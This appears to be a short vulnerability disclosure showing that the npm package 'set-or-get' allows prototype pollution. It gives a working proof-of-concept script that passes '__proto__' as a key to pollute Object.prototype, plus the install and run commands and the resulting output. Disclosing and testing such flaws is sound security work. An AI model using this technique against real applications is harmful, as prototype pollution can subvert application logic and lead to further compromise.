Description

set-or-get is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
var SetOrGet = require("set-or-get");
var obj = {}
console.log("Before : " + {}.polluted);
SetOrGet(obj, "__proto__", {}).polluted ='Yes! Its Polluted';
console.log("After : " + {}.polluted);

2. Execute the following commands in terminal:

npm i set-or-get # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted